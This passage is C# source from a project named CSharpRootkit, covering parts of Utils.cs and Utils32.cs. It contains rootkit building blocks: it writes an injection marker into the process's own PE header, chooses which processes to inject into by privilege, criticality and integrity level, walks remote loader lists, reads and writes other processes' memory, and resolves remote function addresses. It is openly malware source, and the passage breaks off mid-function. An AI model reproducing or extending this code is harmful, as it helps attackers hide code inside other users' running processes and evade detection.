threadHandles.ToArray(); 137 | } 138 | 139 | public static void ResumeAndCloseAllThreads(IntPtr[] threadHandles) 140 | { 141 | foreach (IntPtr i in threadHandles) 142 | { 143 | NativeMethods.ResumeThread(i); 144 | NativeMethods.CloseHandle(i); 145 | } 146 | } 147 | 148 | public static void ResumeAllThreads(IntPtr[] threadHandles) 149 | { 150 | foreach (IntPtr i in threadHandles) 151 | { 152 | NativeMethods.ResumeThread(i); 153 | } 154 | } 155 | 156 | public static void CloseAllThreadHandles(IntPtr[] threadHandles) 157 | { 158 | foreach (IntPtr i in threadHandles) 159 | { 160 | NativeMethods.CloseHandle(i); 161 | } 162 | } 163 | 164 | private static string GetAsmFromDissemableOutput(string asmOut) 165 | { 166 | return string.Join(" ", asmOut.Split(' ').Skip(2)).Trim('\n', ' '); 167 | } 168 | 169 | public static int GetInstructionSize(ulong address) 170 | { 171 | if (!CanGetInstructionSize) 172 | { 173 | throw new Exception("The debugger could not attach to the process to get the InstructionSize"); 174 | } 175 | 176 | StringBuilder asmString = new StringBuilder((int)InstructionSizeString); 177 | 178 | uint DissambleResult = DebugControl.Disassemble(address, 0, asmString, InstructionSizeString, out uint DisassemblySize, out ulong EndOffset); 179 | 180 | if (DissambleResult != 0 && DissambleResult != 1) 181 | { 182 | throw new Exception("There was an error getting the length! Errorcode: " + Marshal.GetLastWin32Error()); 183 | } 184 | 185 | return (int)(EndOffset - address); 186 | } 187 | 188 | public static Tuple GetInstructionSizeAndString(ulong address) 189 | { 190 | if (!CanGetInstructionSize) 191 | { 192 | throw new Exception("The debugger could not attach to the process to get the InstructionSize"); 193 | } 194 | 195 | StringBuilder asmString = new StringBuilder((int)InstructionSizeString); 196 | 197 | uint DissambleResult = DebugControl.Disassemble(address, 0, asmString, InstructionSizeString, out uint DisassemblySize, out ulong EndOffset); 198 | 199 | if (DissambleResult != 0 && DissambleResult != 1) 200 | { 201 | throw new Exception("There was an error getting the length! Errorcode: " + Marshal.GetLastWin32Error()); 202 | } 203 | 204 | string asm = GetAsmFromDissemableOutput(asmString.ToString()); 205 | 206 | return new Tuple((int)(EndOffset - address), asm); 207 | } 208 | 209 | public static IntPtr GetFunctionPtr(string LibraryName, string FunctionName, bool LoadDllIfNotLoaded=true) 210 | { 211 | IntPtr hModule = NativeMethods.GetModuleHandleW(LibraryName); 212 | if (hModule == IntPtr.Zero && !LoadDllIfNotLoaded) 213 | { 214 | throw new Exception("Couldnt get the module handle, are you sure the library is loaded?"); 215 | } 216 | if (hModule == IntPtr.Zero) 217 | { 218 | hModule = NativeMethods.LoadLibraryW(LibraryName); 219 | } 220 | if (hModule == IntPtr.Zero) 221 | { 222 | throw new Exception("Couldnt load the library, are you sure the dll library is accessable?"); 223 | } 224 | IntPtr FunctionPtr = NativeMethods.GetProcAddress(hModule, FunctionName); 225 | if (FunctionPtr == IntPtr.Zero) 226 | { 227 | throw new Exception("Couldnt get the function from the Library, are you sure it exists?"); 228 | } 229 | return FunctionPtr; 230 | } 231 | 232 | public static bool GetFilePathOfProcess(int pid, out string FilePath) 233 | { 234 | FilePath = null; 235 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid); 236 | if (ProcessHandle == IntPtr.Zero) 237 | { 238 | return false; 239 | } 240 | bool result = GetFilePathOfProcess(ProcessHandle, out FilePath); 241 | NativeMethods.CloseHandle(ProcessHandle); 242 | return result; 243 | } 244 | 245 | public static bool GetFilePathOfProcess(IntPtr hProcess, out string FilePath) 246 | { 247 | FilePath = null; 248 | uint bufferSize = 32767+2;//+2 for the null bytes? 249 | StringBuilder buffer = new StringBuilder((int)bufferSize); 250 | 251 | if (NativeMethods.QueryFullProcessImageNameW(hProcess, 0, buffer, ref bufferSize)) 252 | { 253 | FilePath = buffer.ToString(0, (int)bufferSize); 254 | return true; 255 | } 256 | 257 | return false; 258 | } 259 | 260 | public static bool ComparePaths(string path1, string path2) 261 | { 262 | if (path1 == null || path2 == null) 263 | { 264 | return path1 == path2; 265 | } 266 | string directory1 = Path.GetDirectoryName(path1); 267 | string directory2 = Path.GetDirectoryName(path2); 268 | string fileName1 = Path.GetFileName(path1); 269 | string fileName2 = Path.GetFileName(path2); 270 | return directory1.Equals(directory2, StringComparison.InvariantCultureIgnoreCase) && fileName1.Equals(fileName2, StringComparison.InvariantCultureIgnoreCase); 271 | } 272 | 273 | public static bool setInjectionFlag(out bool isAlreadyInjected) 274 | { 275 | object appDomainData = AppDomain.CurrentDomain.GetData("ProcIsInjected" + NativeMethods.GetCurrentProcessId().ToString()); 276 | if (appDomainData != null && appDomainData.GetType() == typeof(bool) && (bool)appDomainData) 277 | { 278 | isAlreadyInjected = true; 279 | return false; 280 | } 281 | AppDomain.CurrentDomain.SetData("ProcIsInjected"+NativeMethods.GetCurrentProcessId().ToString(), true); 282 | 283 | isAlreadyInjected = false; 284 | IntPtr module = NativeMethods.GetModuleHandleW(null); 285 | if (module == IntPtr.Zero) 286 | { 287 | return false; 288 | } 289 | 290 | IntPtr headerLocation = module + Marshal.SizeOf(typeof(InternalStructs.IMAGE_DOS_HEADER)); 291 | 292 | if (Marshal.PtrToStringAnsi(headerLocation, headerString.Length) == headerString) 293 | { 294 | isAlreadyInjected = true; 295 | return false; 296 | } 297 | 298 | if (!NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, PAGE_READWRITE, out uint outProtect)) 299 | { 300 | return false; 301 | } 302 | 303 | Marshal.Copy(headerLocation, headerBackup, 0, headerBackup.Length); 304 | 305 | IntPtr headerStringPtr = Marshal.StringToHGlobalAnsi(headerString); 306 | NativeMethods.CopyMemory(headerLocation, headerStringPtr, (UIntPtr)headerString.Length); 307 | 308 | Marshal.FreeHGlobal(headerStringPtr); 309 | 310 | NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, outProtect, out uint _); 311 | 312 | return true; 313 | 314 | 315 | } 316 | 317 | public static bool removeInjectionFlag() 318 | { 319 | AppDomain.CurrentDomain.SetData("ProcIsInjected" + NativeMethods.GetCurrentProcessId().ToString(), false); 320 | IntPtr module = NativeMethods.GetModuleHandleW(null); 321 | if (module == IntPtr.Zero) 322 | { 323 | return false; 324 | } 325 | 326 | IntPtr headerLocation = module + Marshal.SizeOf(typeof(InternalStructs.IMAGE_DOS_HEADER)); 327 | 328 | if (!NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, PAGE_READWRITE, out uint outProtect)) 329 | { 330 | return false; 331 | } 332 | 333 | Marshal.Copy(headerBackup, 0, headerLocation, headerBackup.Length); 334 | 335 | NativeMethods.VirtualProtect(headerLocation, (UIntPtr)headerString.Length, outProtect, out uint _); 336 | 337 | return true; 338 | 339 | } 340 | 341 | public static bool processHasInjectionFlag(IntPtr hProcess, out bool isInjected) 342 | { 343 | isInjected = false; 344 | 345 | ulong module; 346 | bool is64Bit = IsProcess64Bit(hProcess); 347 | try 348 | { 349 | if (is64Bit) 350 | { 351 | module = Utils64.GetRemoteModuleHandle64Bit(hProcess, null); 352 | } 353 | else 354 | { 355 | module = Utils32.GetRemoteModuleHandle32Bit(hProcess, null); 356 | } 357 | } 358 | catch 359 | { 360 | return false; 361 | } 362 | if (module == 0) 363 | { 364 | return false; 365 | } 366 | 367 | ulong headerLocation = module + (uint)Marshal.SizeOf(typeof(InternalStructs.IMAGE_DOS_HEADER)); 368 | 369 | IntPtr buffer = Marshal.AllocHGlobal(headerString.Length + 1);//+1 for the null terminator 370 | 371 | if ((Environment.Is64BitProcess && is64Bit) || (!Environment.Is64BitProcess && !is64Bit) || (Environment.Is64BitProcess && !is64Bit)) //(64 && 64) || (32 && 32) || (64 && 32) 372 | { 373 | UIntPtr readout = UIntPtr.Zero; 374 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)headerLocation, buffer, (UIntPtr)(headerString.Length + 1), ref readout)) 375 | { 376 | Marshal.FreeHGlobal(buffer); 377 | return false; 378 | } 379 | } 380 | else //(32 && 64) 381 | { 382 | ulong readout = 0; 383 | if (SpecialNativeMethods.ReadProcessMemory64From32(hProcess, headerLocation, buffer, (ulong)(headerString.Length + 1), ref readout) != 0) 384 | { 385 | Marshal.FreeHGlobal(buffer); 386 | return false; 387 | } 388 | } 389 | 390 | if (Marshal.PtrToStringAnsi(buffer, headerString.Length) == headerString) 391 | { 392 | isInjected = true; 393 | } 394 | Marshal.FreeHGlobal(buffer); 395 | 396 | return true; 397 | } 398 | 399 | public static bool IsProcess64Bit(IntPtr handle) 400 | { 401 | bool result; 402 | try 403 | { 404 | NativeMethods.IsWow64Process(handle, out result); 405 | } 406 | catch 407 | { 408 | return Environment.Is64BitOperatingSystem; 409 | } 410 | return !result; 411 | } 412 | 413 | public static bool IsAdmin() 414 | { 415 | bool isElevated; 416 | using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) 417 | { 418 | WindowsPrincipal principal = new WindowsPrincipal(identity); 419 | isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator); 420 | } 421 | return isElevated; 422 | } 423 | 424 | public static bool IsProcessAdmin(int pid, out bool IsAdmin) 425 | { 426 | IsAdmin = false; 427 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid); 428 | if (ProcessHandle == IntPtr.Zero) 429 | { 430 | return false; 431 | } 432 | bool result = IsProcessAdmin(ProcessHandle, out IsAdmin); 433 | NativeMethods.CloseHandle(ProcessHandle); 434 | return result; 435 | } 436 | 437 | public static bool IsProcessAdmin(IntPtr ProcessHandle, out bool IsAdmin) 438 | { 439 | IsAdmin = false; 440 | if (!NativeMethods.OpenProcessToken(ProcessHandle, TOKEN_QUERY, out IntPtr tokenHandle)) 441 | { 442 | return false; 443 | } 444 | int elevationSize = Marshal.SizeOf(typeof(InternalStructs.TOKEN_ELEVATION)); 445 | IntPtr elevationPtr = Marshal.AllocHGlobal(elevationSize); 446 | if (NativeMethods.GetTokenInformation(tokenHandle, TokenElevation, elevationPtr, elevationSize, out int returnLength) && returnLength == elevationSize) 447 | { 448 | InternalStructs.TOKEN_ELEVATION elevationStruct = Marshal.PtrToStructure(elevationPtr); 449 | Marshal.FreeHGlobal(elevationPtr); 450 | NativeMethods.CloseHandle(tokenHandle); 451 | IsAdmin=elevationStruct.TokenIsElevated != 0; 452 | return true; 453 | } 454 | Marshal.FreeHGlobal(elevationPtr); 455 | NativeMethods.CloseHandle(tokenHandle); 456 | return false; 457 | } 458 | 459 | public static bool IsProcessCritical(IntPtr ProcessHandle, out bool IsCritical) 460 | { 461 | return NativeMethods.IsProcessCritical(ProcessHandle, out IsCritical); 462 | } 463 | 464 | public static bool IsProcessCritical(int pid, out bool IsCritical) 465 | { 466 | IsCritical = false; 467 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid); 468 | if (ProcessHandle == IntPtr.Zero) 469 | { 470 | return false; 471 | } 472 | bool result = IsProcessCritical(ProcessHandle, out IsCritical); 473 | NativeMethods.CloseHandle(ProcessHandle); 474 | return result; 475 | } 476 | 477 | public static bool GetProcessIntergrityLevel(IntPtr ProcessHandle, out uint IntergrityLevel) 478 | { 479 | IntergrityLevel = 0; 480 | if (!NativeMethods.OpenProcessToken(ProcessHandle, TOKEN_QUERY, out IntPtr tokenHandle)) 481 | { 482 | return false; 483 | } 484 | int tokenMandatoryLabelSize = Marshal.SizeOf(typeof(InternalStructs.TOKEN_MANDATORY_LABEL))+100;//+100 as it needs some extra data for some reason. 485 | IntPtr tokenMandatoryLabelPtr = Marshal.AllocHGlobal(tokenMandatoryLabelSize); 486 | if (NativeMethods.GetTokenInformation(tokenHandle, TokenIntegrityLevel, tokenMandatoryLabelPtr, tokenMandatoryLabelSize, out int returnLength)) 487 | { 488 | InternalStructs.TOKEN_MANDATORY_LABEL tokenMandatoryLabelStruct = Marshal.PtrToStructure(tokenMandatoryLabelPtr); 489 | 490 | IntergrityLevel=Marshal.PtrToStructure(NativeMethods.GetSidSubAuthority(tokenMandatoryLabelStruct.Label.Sid, (uint)Marshal.ReadByte(NativeMethods.GetSidSubAuthorityCount(tokenMandatoryLabelStruct.Label.Sid)) - 1)).Value; 491 | 492 | NativeMethods.CloseHandle(tokenHandle); 493 | Marshal.FreeHGlobal(tokenMandatoryLabelPtr); 494 | return true; 495 | } 496 | Marshal.FreeHGlobal(tokenMandatoryLabelPtr); 497 | NativeMethods.CloseHandle(tokenHandle); 498 | return false; 499 | } 500 | 501 | public static bool GetProcessIntergrityLevel(int pid, out uint IntergrityLevel) 502 | { 503 | IntergrityLevel = 0; 504 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)pid); 505 | if (ProcessHandle == IntPtr.Zero) 506 | { 507 | return false; 508 | } 509 | bool result = GetProcessIntergrityLevel(ProcessHandle, out IntergrityLevel); 510 | NativeMethods.CloseHandle(ProcessHandle); 511 | return result; 512 | } 513 | 514 | public static bool ShouldInject(IntPtr ProcessHandle) 515 | { 516 | if (!IsAdmin() && IsProcessAdmin(ProcessHandle, out bool IsprocAdmin) && IsprocAdmin) 517 | { 518 | return false; 519 | } 520 | 521 | if (!processHasInjectionFlag(ProcessHandle, out bool isInjected) || isInjected) 522 | { 523 | return false; 524 | } 525 | 526 | if (!IsProcessCritical(ProcessHandle, out bool isCritical) || isCritical) 527 | { 528 | return false; 529 | } 530 | if (!GetProcessIntergrityLevel(ProcessHandle, out uint IntergrityLevel) || IntergrityLevel < (uint)InternalStructs.TokenIntegrityLevel.Medium || IntergrityLevel >= (uint)InternalStructs.TokenIntegrityLevel.System)//only allow injection into medium, medium+ and high process. the others can cause error within c# 531 | { 532 | return false; 533 | } 534 | return true; 535 | } 536 | public static bool GetParentProcessIdFromHandle(IntPtr handle, out int procId) 537 | { 538 | procId = 0; 539 | PROCESS_BASIC_INFORMATION procInfo = new PROCESS_BASIC_INFORMATION(); 540 | uint readOut = 0; 541 | if (NativeMethods.NtQueryPbi64From64(handle, PROCESSINFOCLASS.ProcessBasicInformation, ref procInfo, (uint)Marshal.SizeOf(procInfo), ref readOut) == 0) 542 | { 543 | procId = (int)procInfo.UniqueProcessId; 544 | return true; 545 | } 546 | return false; 547 | } 548 | 549 | public static bool GetParentProcess(int pid, out int parentProc) 550 | { 551 | parentProc = 0; 552 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, false, (uint)pid); 553 | if (ProcessHandle == IntPtr.Zero) 554 | { 555 | return false; 556 | } 557 | bool result = GetParentProcess(ProcessHandle, out parentProc); 558 | NativeMethods.CloseHandle(ProcessHandle); 559 | return result; 560 | } 561 | 562 | public static bool GetParentProcess(IntPtr handle, out int parentProc) 563 | { 564 | parentProc = 0; 565 | PROCESS_BASIC_INFORMATION procInfo = new PROCESS_BASIC_INFORMATION(); 566 | uint readOut = 0; 567 | if (NativeMethods.NtQueryPbi64From64(handle, PROCESSINFOCLASS.ProcessBasicInformation, ref procInfo, (uint)Marshal.SizeOf(procInfo), ref readOut) == 0) 568 | { 569 | parentProc = (int)procInfo.InheritedFromUniqueProcessId; 570 | return true; 571 | } 572 | return false; 573 | } 574 | 575 | public static bool ShouldInject(int pid) 576 | { 577 | IntPtr ProcessHandle = NativeMethods.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, false, (uint)pid); 578 | if (ProcessHandle == IntPtr.Zero) 579 | { 580 | return false; 581 | } 582 | bool result = ShouldInject(ProcessHandle); 583 | NativeMethods.CloseHandle(ProcessHandle); 584 | return result; 585 | } 586 | 587 | public static bool DupHandle(int sourceProc, IntPtr sourceHandle, out IntPtr newHandle) 588 | { 589 | newHandle = IntPtr.Zero; 590 | uint PROCESS_DUP_HANDLE = 0x0040; 591 | uint DUPLICATE_SAME_ACCESS = 0x00000002; 592 | IntPtr procHandle = NativeMethods.OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProc); 593 | if (procHandle == IntPtr.Zero) 594 | { 595 | return false; 596 | } 597 | 598 | IntPtr targetHandle = IntPtr.Zero; 599 | 600 | if (!NativeMethods.DuplicateHandle(procHandle, sourceHandle, NativeMethods.GetCurrentProcess(), ref targetHandle, 0, false, DUPLICATE_SAME_ACCESS)) 601 | { 602 | int x=Marshal.GetLastWin32Error(); 603 | NativeMethods.CloseHandle(procHandle); 604 | return false; 605 | 606 | } 607 | newHandle = targetHandle; 608 | NativeMethods.CloseHandle(procHandle); 609 | return true; 610 | } 611 | 612 | public static T BytesToStruct(byte[] StructData, int offset = 0) 613 | { 614 | int structSize = Marshal.SizeOf(); 615 | IntPtr dataBuffer = Marshal.AllocHGlobal(structSize); 616 | 617 | try 618 | { 619 | Marshal.Copy(StructData, offset, dataBuffer, structSize); 620 | return Marshal.PtrToStructure(dataBuffer); 621 | } 622 | finally 623 | { 624 | Marshal.FreeHGlobal(dataBuffer); 625 | } 626 | } 627 | 628 | public static byte[] StructToBytes(T StructData) 629 | { 630 | int dataSize = Marshal.SizeOf(StructData); 631 | IntPtr dataBuffer = Marshal.AllocHGlobal(dataSize); 632 | 633 | try 634 | { 635 | Marshal.StructureToPtr(StructData, dataBuffer, false); 636 | byte[] result = new byte[dataSize]; 637 | Marshal.Copy(dataBuffer, result, 0, dataSize); 638 | return result; 639 | } 640 | finally 641 | { 642 | Marshal.FreeHGlobal(dataBuffer); 643 | } 644 | } 645 | 646 | public static byte[] CombineByteArrays(params byte[][] arrays) 647 | { 648 | byte[] rv = new byte[arrays.Sum(a => a.Length)]; 649 | int offset = 0; 650 | foreach (byte[] array in arrays) 651 | { 652 | Buffer.BlockCopy(array, 0, rv, offset, array.Length); 653 | offset += array.Length; 654 | } 655 | return rv; 656 | } 657 | 658 | 659 | public static string RandomString(int length) 660 | { 661 | string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 662 | return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); 663 | } 664 | 665 | public static int RandomInt() 666 | { 667 | return random.Next(); 668 | } 669 | 670 | public static bool OpenMemoryMappedFile(string filename, out MemoryMappedFile memFile) 671 | { 672 | memFile = null; 673 | try 674 | { 675 | memFile = MemoryMappedFile.OpenExisting(filename, MemoryMappedFileRights.ReadWrite); 676 | return true; 677 | } 678 | catch (FileNotFoundException) 679 | { 680 | return false; 681 | } 682 | } 683 | 684 | } 685 | } 686 | -------------------------------------------------------------------------------- /CSharpRootkit/Utils/Utils32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static CSharpRootkit.InternalStructs; 8 | 9 | namespace CSharpRootkit 10 | { 11 | public static class Utils32 12 | { 13 | 14 | public static uint GetRemoteModuleHandle32Bit(IntPtr hProcess, string DllBaseName, int max_flink_count = 600) 15 | { 16 | if (hProcess == IntPtr.Zero) 17 | { 18 | throw new Exception("The supplied hProcess is Null!"); 19 | } 20 | InternalStructs.PROCESS_BASIC_INFORMATION PBI = new InternalStructs.PROCESS_BASIC_INFORMATION(); 21 | uint PBI_size = (uint)Marshal.SizeOf(PBI); 22 | uint NTread_out = 0; 23 | UIntPtr Rread_out = UIntPtr.Zero; 24 | int errcode = NativeMethods.NtQueryPbi32(hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out); 25 | 26 | if (errcode != 0) 27 | { 28 | throw new Exception("couldnt read PBI. ERR CODE: " + errcode); 29 | } 30 | 31 | if (PBI.PebBaseAddress == IntPtr.Zero) 32 | { 33 | return 0; 34 | } 35 | 36 | IntPtr ldrAddr = InternalStructs32.GetLdr32(PBI.PebBaseAddress); 37 | int pLdrDataSize = Marshal.SizeOf(typeof(UINTRESULT)); 38 | IntPtr pLdrData = Marshal.AllocHGlobal(pLdrDataSize); 39 | 40 | 41 | if (!NativeMethods.ReadProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out)) 42 | { 43 | Marshal.FreeHGlobal(pLdrData); 44 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error()); 45 | } 46 | 47 | IntPtr pLdr32 = (IntPtr)Marshal.PtrToStructure(pLdrData).Value; 48 | Marshal.FreeHGlobal(pLdrData); 49 | 50 | if (pLdr32 == IntPtr.Zero) 51 | { 52 | return 0; 53 | } 54 | 55 | if (!NativeMethods.ReadProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out)) 56 | { 57 | Marshal.FreeHGlobal(pLdrData); 58 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error()); 59 | } 60 | 61 | InternalStructs32.PEB_LDR_DATA32 ldr32; 62 | 63 | int ldr32Size = Marshal.SizeOf(typeof(InternalStructs32.PEB_LDR_DATA32)); 64 | IntPtr ldr32addr = Marshal.AllocHGlobal(ldr32Size); 65 | 66 | if (!NativeMethods.ReadProcessMemory(hProcess, pLdr32, ldr32addr, (UIntPtr)ldr32Size, ref Rread_out)) 67 | { 68 | Marshal.FreeHGlobal(ldr32addr); 69 | throw new Exception("couldnt read ldr32. ERR CODE: " + Marshal.GetLastWin32Error()); 70 | } 71 | 72 | ldr32 = Marshal.PtrToStructure(ldr32addr); 73 | Marshal.FreeHGlobal(ldr32addr); 74 | 75 | uint entry = ldr32.InLoadOrderModuleList.Flink; 76 | uint head = (uint)ldrAddr + (uint)Marshal.OffsetOf(typeof(InternalStructs32.PEB_LDR_DATA32), "InLoadOrderModuleList"); 77 | 78 | int LdrDataTableSize = Marshal.SizeOf(typeof(InternalStructs32.LDR_DATA_TABLE_ENTRY32_SNAP)); 79 | IntPtr LdrDataTableAddr = Marshal.AllocHGlobal(LdrDataTableSize); 80 | uint hModule = 0; 81 | uint count = 0; 82 | while (entry != head && count < max_flink_count) 83 | { 84 | count++; 85 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)entry, LdrDataTableAddr, (UIntPtr)LdrDataTableSize, ref Rread_out)) 86 | { 87 | break; 88 | } 89 | 90 | InternalStructs32.LDR_DATA_TABLE_ENTRY32_SNAP LdrDataTable = Marshal.PtrToStructure(LdrDataTableAddr); 91 | 92 | if (DllBaseName == null) 93 | { 94 | hModule = LdrDataTable.DllBase; 95 | break; 96 | } 97 | 98 | 99 | entry = LdrDataTable.InLoadOrderLinks.Flink; 100 | 101 | if ((LdrDataTable.BaseDllName.Length / 2) != DllBaseName.Length) 102 | { 103 | continue; 104 | } 105 | 106 | IntPtr currentModuleNameBufferAddr = Marshal.AllocHGlobal(LdrDataTable.BaseDllName.Length); 107 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)LdrDataTable.BaseDllName.Buffer, currentModuleNameBufferAddr, (UIntPtr)LdrDataTable.BaseDllName.Length, ref Rread_out)) 108 | { 109 | Marshal.FreeHGlobal(currentModuleNameBufferAddr); 110 | break; 111 | } 112 | string baseDllname = Marshal.PtrToStringUni(currentModuleNameBufferAddr, LdrDataTable.BaseDllName.Length / 2); 113 | Marshal.FreeHGlobal(currentModuleNameBufferAddr); 114 | if (baseDllname.ToLower() == DllBaseName.ToLower()) 115 | { 116 | hModule = LdrDataTable.DllBase; 117 | break; 118 | } 119 | } 120 | Marshal.FreeHGlobal(LdrDataTableAddr); 121 | return hModule; 122 | } 123 | 124 | private static string ReadRemoteAnsiString32(IntPtr hProcess, IntPtr lpAddress) 125 | { 126 | string result = ""; 127 | UIntPtr Rread_out = UIntPtr.Zero; 128 | IntPtr byteBuffer = Marshal.AllocHGlobal(1); 129 | while (true) 130 | { 131 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)lpAddress, byteBuffer, (UIntPtr)1, ref Rread_out)) 132 | { 133 | Marshal.FreeHGlobal(byteBuffer); 134 | throw new Exception("couldnt read AnsiString. ERR CODE: " + Marshal.GetLastWin32Error()); 135 | } 136 | byte Ch = Marshal.ReadByte(byteBuffer); 137 | if (Ch == 0) 138 | { 139 | break; 140 | } 141 | result += (char)Ch; 142 | lpAddress += 1; 143 | } 144 | return result; 145 | } 146 | 147 | public static bool WriteBytesToProcess32(IntPtr handle, IntPtr address, byte[] data) 148 | { 149 | IntPtr dataPtr = Marshal.AllocHGlobal(data.Length); 150 | Marshal.Copy(data, 0, dataPtr, data.Length); 151 | bool result = NativeMethods.WriteProcessMemory(handle, address, dataPtr, (IntPtr)data.Length, out IntPtr BytesWritten); 152 | Marshal.FreeHGlobal(dataPtr); 153 | return result && BytesWritten == (IntPtr)data.Length; 154 | } 155 | 156 | public static uint GetNtHeader32Addr(IntPtr hProcess, uint hModule) 157 | { 158 | int dosHeaderSize = Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)); 159 | IntPtr dosHeaderaddr = Marshal.AllocHGlobal(dosHeaderSize); 160 | UIntPtr Rread_out = UIntPtr.Zero; 161 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)hModule, dosHeaderaddr, (UIntPtr)dosHeaderSize, ref Rread_out)) 162 | { 163 | Marshal.FreeHGlobal(dosHeaderaddr); 164 | throw new Exception("couldnt read DosHeader. ERR CODE: " + Marshal.GetLastWin32Error()); 165 | } 166 | IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(dosHeaderaddr); 167 | Marshal.FreeHGlobal(dosHeaderaddr); 168 | return hModule + (uint)dosHeader.e_lfanew; 169 | } 170 | 171 | public static InternalStructs32.IMAGE_NT_HEADERS32 GetNtHeader32(IntPtr hProcess, uint hModule) 172 | { 173 | UIntPtr Rread_out = UIntPtr.Zero; 174 | int ntHeaderSize = Marshal.SizeOf(typeof(InternalStructs32.IMAGE_NT_HEADERS32)); 175 | IntPtr ntHeaderaddr = Marshal.AllocHGlobal(ntHeaderSize); 176 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)GetNtHeader32Addr(hProcess, hModule), ntHeaderaddr, (UIntPtr)ntHeaderSize, ref Rread_out)) 177 | { 178 | Marshal.FreeHGlobal(ntHeaderaddr); 179 | throw new Exception("couldnt read NTHeader. ERR CODE: " + Marshal.GetLastWin32Error()); 180 | } 181 | InternalStructs32.IMAGE_NT_HEADERS32 ntHeader = Marshal.PtrToStructure(ntHeaderaddr); 182 | Marshal.FreeHGlobal(ntHeaderaddr); 183 | return ntHeader; 184 | } 185 | 186 | public static uint GetRemoteProcAddress32Bit(IntPtr hProcess, uint hModule, string FunctionName) 187 | { 188 | if (hModule == 0) 189 | { 190 | throw new Exception("couldnt read hModule is null or 0."); 191 | } 192 | UIntPtr Rread_out = UIntPtr.Zero; 193 | InternalStructs32.IMAGE_NT_HEADERS32 ntHeader = GetNtHeader32(hProcess, hModule); 194 | 195 | int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; 196 | 197 | IMAGE_DATA_DIRECTORY dataTable = ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 198 | 199 | if (dataTable.Size == 0 || dataTable.VirtualAddress == 0) 200 | { 201 | return 0; 202 | } 203 | 204 | int explortDirSize = Marshal.SizeOf(typeof(IMAGE_EXPORT_DIRECTORY)); 205 | IntPtr exportDiraddr = Marshal.AllocHGlobal(explortDirSize); 206 | 207 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + dataTable.VirtualAddress), exportDiraddr, (UIntPtr)explortDirSize, ref Rread_out)) 208 | { 209 | Marshal.FreeHGlobal(exportDiraddr); 210 | throw new Exception("couldnt read IMAGE EXPORT DIRECTORY. ERR CODE: " + Marshal.GetLastWin32Error()); 211 | } 212 | 213 | IMAGE_EXPORT_DIRECTORY exportDir = Marshal.PtrToStructure(exportDiraddr); 214 | Marshal.FreeHGlobal(exportDiraddr); 215 | if (exportDir.NumberOfNames == 0) 216 | { 217 | return 0; 218 | } 219 | 220 | int rvaTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(int)); 221 | IntPtr rvaTableAddr = Marshal.AllocHGlobal(rvaTableSize); 222 | 223 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + exportDir.AddressOfFunctions), rvaTableAddr, (UIntPtr)rvaTableSize, ref Rread_out)) 224 | { 225 | Marshal.FreeHGlobal(rvaTableAddr); 226 | throw new Exception("couldnt read RVA table. ERR CODE: " + Marshal.GetLastWin32Error()); 227 | } 228 | uint[] rvaTable = new uint[(int)exportDir.NumberOfFunctions]; 229 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++) 230 | { 231 | rvaTable[i] = Marshal.PtrToStructure(rvaTableAddr + (i * 4)).Value; 232 | } 233 | Marshal.FreeHGlobal(rvaTableAddr); 234 | 235 | 236 | int ordTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(short)); 237 | IntPtr ordTableAddr = Marshal.AllocHGlobal(ordTableSize); 238 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + exportDir.AddressOfNameOrdinals), ordTableAddr, (UIntPtr)ordTableSize, ref Rread_out)) 239 | { 240 | Marshal.FreeHGlobal(ordTableAddr); 241 | throw new Exception("couldnt read ORD table. ERR CODE: " + Marshal.GetLastWin32Error()); 242 | } 243 | ushort[] ordTable = new ushort[(int)exportDir.NumberOfFunctions]; 244 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++) 245 | { 246 | ordTable[i] = Marshal.PtrToStructure(ordTableAddr + (i * 2)).Value; 247 | } 248 | Marshal.FreeHGlobal(ordTableAddr); 249 | 250 | 251 | int nameTableSize = 